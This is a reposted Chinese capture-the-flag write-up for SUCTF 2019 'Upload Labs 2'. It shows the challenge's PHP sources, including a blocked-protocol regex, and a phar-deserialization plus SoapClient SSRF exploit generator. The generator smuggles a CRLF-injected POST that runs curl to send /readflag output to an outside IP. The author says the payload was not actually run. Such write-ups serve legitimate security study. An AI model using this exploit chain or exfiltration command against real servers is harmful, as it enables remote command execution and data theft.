65,【5】buuctf web [SUCTF 2019]Upload Labs 2
进入靶场
1,源代码
点击题目时有个就有个admin.php
<?php
// 引入配置文件
include 'config.php';
class Ad{
public $cmd;
public $clazz;
public $func1;
public $func2;
public $func3;
public $instance;
public $arg1;
public $arg2;
public $arg3;
// 构造函数,用于初始化对象的属性
function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){
// 存储命令
$this->cmd = $cmd;
// 存储类名
$this->clazz = $clazz;
// 存储第一个函数名
$this->func1 = $func1;
// 存储第二个函数名
$this->func2 = $func2;
// 存储第三个函数名
$this->func3 = $func3;
// 存储第一个参数
$this->arg1 = $arg1;
// 存储第二个参数
$this->arg2 = $arg2;
// 存储第三个参数
$this->arg3 = $arg3;
}
// 检查方法,使用反射来调用类的方法
function check(){
// 创建一个反射类,用于实例化类
$reflect = new ReflectionClass($this->clazz);
// 实例化类
$this->instance = $reflect->newInstanceArgs();
// 创建一个反射方法,用于调用类的第一个方法
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
// 调用类的第一个方法,并传递第一个参数
$reflectionMethod->invoke($this->instance, $this->arg1);
// 创建一个反射方法,用于调用类的第二个方法
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
// 调用类的第二个方法,并传递第二个参数
$reflectionMethod->invoke($this->instance, $this->arg2);
// 创建一个反射方法,用于调用类的第三个方法
$reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
// 调用类的第三个方法,并传递第三个参数
$reflectionMethod->invoke($this->instance, $this->arg3);
}
// 析构函数,在对象销毁时执行
function __destruct(){
// 使用 system 函数执行存储的命令
system($this->cmd);
}
}
// 检查请求是否来自本地
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
// 检查是否有 admin 的 POST 请求
if(isset($_POST['admin'])){
// 获取 POST 请求中的命令
$cmd = $_POST['cmd'];
// 获取 POST 请求中的类名
$clazz = $_POST['clazz'];
// 获取 POST 请求中的第一个函数名
$func1 = $_POST['func1'];
// 获取 POST 请求中的第二个函数名
$func2 = $_POST['func2'];
// 获取 POST 请求中的第三个函数名
$func3 = $_POST['func3'];
// 获取 POST 请求中的第一个参数
$arg1 = $_POST['arg1'];
// 获取 POST 请求中的第二个参数
$arg2 = $_POST['arg2'];
// 获取 POST 请求中的第三个参数
$arg3 = $_POST['arg3'];
// 创建一个 Ad 类的对象,并传递相应参数
$admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
// 调用 check 方法
$admin->check();
}
}
else {
// 输出非管理员信息
echo "You r not admin!";
}
- 此文件定义了 Ad类,使用了反射机制。
__construct
方法接收多个参数,包括cmd
、clazz
、func1
、func2
、func3
、arg1
、arg2
和arg3
,存储在对象属性中。 check
方法使用反射来实例化$clazz
存储的类,并调用该类的三个函数func1
、func2
和func3
,并传递相应的参数。__destruct
方法使用system
函数执行cmd
存储的命令.- 有一个简单的权限检查,仅允许
127.0.0.1
地址的请求访问,通过检查$_SERVER['REMOTE_ADDR']
,若请求包含admin
的 POST 请求,会根据 POST 数据创建Ad
类对象并调用其check
方法。 Ad
类的__destruct
方法使用system
函数执行cmd
命令,可能导致命令执行漏洞。
源码里有
func.php
<?php
// 引入 class.php 文件
include 'class.php';
// 检查是否同时设置了 submit 和 url 的 POST 请求
if (isset($_POST["submit"]) && isset($_POST["url"])) {
// 使用正则表达式检查 url 的内容是否包含一些危险的协议或关键字
if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
// 如果包含危险的协议或关键字,终止程序并输出提示信息
die("Go away!");
}else{
// 获取 POST 请求中的 url 数据
$file_path = $_POST['url'];
// 创建 File 类的新实例,将 url 作为参数传递给构造函数
$file = new File($file_path);
// 调用 File 类的 getMIME 方法
$file->getMIME();
// 输出文件类型信息
echo "<p>Your file type is '$file' </p>";
}
}
?>
- 该文件引入
class.php
并检查submit
和url
的 POST 请求是否同时存在。 - 使用正则表达式对
url
进行检查,防止一些危险的协议或关键字,若匹配则终止程序。 - 若通过检查,会创建
File
类的对象并调用getMIME
方法获取文件的 MIME 类型。
class.php
<?php
// 引入 config.php 文件
include 'config.php';
class File {
// 存储文件名的公共属性
public $file_name;
// 存储文件类型的公共属性
public $type;
// 存储函数名的公共属性,默认为 "Check"
public $func = "Check";
// 构造函数,接收文件名作为参数
function __construct($file_name) {
$this->file_name = $file_name;
}
// 当对象反序列化时调用此方法
function __wakeup() {
// 使用反射类根据 $func 属性创建一个新的对象
$class = new ReflectionClass($this->func);
// 使用反射类实例化对象,并将 $file_name 作为参数传递
$a = $class->newInstanceArgs([$this->file_name]);
// 调用新对象的 check 方法
$a->check();
}
// 获取文件 MIME 类型的方法
function getMIME() {
// 打开文件信息资源
$finfo = finfo_open(FILEINFO_MIME_TYPE);
// 获取文件的 MIME 类型
$this->type = finfo_file($finfo, $this->file_name);
// 关闭文件信息资源
finfo_close($finfo);
}
// 当对象作为字符串使用时调用此方法
function __toString() {
// 返回文件的类型
return $this->type;
}
}
class Check {
// 存储文件名的公共属性
public $file_name;
// 构造函数,接收文件名作为参数
function __construct($file_name) {
$this->file_name = $file_name;
}
// 检查文件内容的方法
function check() {
// 获取文件的内容
$data = file_get_contents($this->file_name);
// 检查文件内容是否包含 "<?", 若包含则终止程序
if (mb_strpos($data, "<?")!== FALSE) {
die("<? in contents!");
}
}
}
- 此文件定义了
File
类和Check
类。 File
类的__construct
方法接收文件名并存储,__wakeup
方法使用反射创建Check
类的对象并调用其check
方法,对文件进行检查。getMIME
方法使用finfo
函数获取文件的 MIME 类型,__toString
方法返回文件类型。Check
类的check
方法检查文件内容是否包含"<?"
,若包含则终止程序。File
类的__wakeup
方法使用反射创建对象,但没有对func
属性进行严格的验证和过滤,使得攻击者可以控制要实例化的类,这是一个潜在的反序列化漏洞入口。
不过连<?都过滤了,还能传什么????
2,该构造payload了
参考[SUCTF 2019]Upload Labs 2 phar+Soapclient结合_suctf-2019-web-upload labs 2-CSDN博客
这篇博客最后还有出题人写的笔记
<?php
// 创建一个 Phar 文件
$phar = new Phar('333.phar');
$phar->startBuffering();
$phar->addFromString('333.txt', 'text');
$phar->setStub('<script language="php">__HALT_COMPILER();</script>');
class File {
public $file_name = "";
public $func = "SoapClient";
function __construct() {
$target = "http://127.0.0.1/admin.php";
$post_string = 'admin=1&cmd=curl "http://174.0.125.63:888"."?`/readflag`"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
$headers = [];
$this->file_name = [
null,
array('location' => $target,
'user_agent' => str_replace('^^', "\r\n", 'xxxxx^^Content-Type: application/x-www-form-urlencoded^^'.join('^^', $headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
'uri' => 'hello')
];
}
function createObject() {
// 使用反射根据 $func 属性创建一个新的对象
$class = new ReflectionClass($this->func);
// 使用反射类实例化对象,并将 $file_name 作为参数传递
$a = $class->newInstanceArgs([$this->file_name]);
return $a;
}
}
$object = new File();
// 对序列化后的对象进行 URL 编码
echo urlencode(serialize($object));
$phar->setMetadata($object);
$phar->stopBuffering();
// 以下是对创建的对象使用反射实例化的部分,为了演示将其放在同一文件中,但在实际应用中可能需要根据具体情况调整调用位置
if ($object instanceof File) {
$createdObject = $object->createObject();
// 这里可以根据 $createdObject 的类型和具体需求进行进一步的操作
// 例如,检查是否为 SoapClient 类的实例
if ($createdObject instanceof SoapClient) {
echo "Successfully created SoapClient object";
} else {
echo "Failed to create SoapClient object";
}
}
将运行结果传上去应该就能得到flag了,不过现在手头能运行PHP的东西都出了点问题
原文地址:https://blog.csdn.net/2402_87039650/article/details/145290586
免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!